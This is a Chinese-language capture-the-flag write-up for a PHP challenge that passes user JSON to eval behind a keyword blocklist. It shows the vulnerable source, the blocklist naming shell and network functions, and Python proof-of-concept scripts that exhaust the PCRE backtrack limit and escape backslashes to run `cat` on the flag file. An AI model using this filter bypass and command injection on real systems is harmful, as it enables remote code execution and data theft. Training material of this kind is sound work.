看源码
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('lii',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
这题我们使用pcre回溯次数绕过PHP利用PCRE回溯次数限制绕过某些安全限制
我们构造这样的脚本
import requests
data = {
'letter': '{"cmd":"?><?=`c\\\\at *`?>;","test":"' + '@' * 1000000 + '"}'
}
res = requests.post('http://node4.anna.nssctf.cn:28177', data=data)
print(res.text)
通过这个脚本,我们可以构造一些shell语句,注意这里面的反斜杠数量,<?=`c\\\\at *`?>
中的前两个反斜杠经过python转义变成一个 \
,后面两个反斜杠同样需要经过转义,变成一个\
然后传给服务器,服务器又会经过一次转义,将两个\\
转译成了一个\
最后执行shell的时候就是执行一个\
,就是说四个反斜杠变成一个反斜杠
有时候需要的是三个反斜杠
通过上面这个脚本,我们可以得到check.php的源码
<?php
function checkdata($data){
if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){
die('差一点点捏');
}
}
然后想办法绕过就行了(通配符绕过,反斜杠绕过)
最终POC
import requests
data = {
'letter': '{"cmd":"?><?=`c\\\\at /fla*`?>;","test":"' + '@' * 1000000 + '"}'
}
res = requests.post('http://node4.anna.nssctf.cn:28177', data=data)
print(res.text)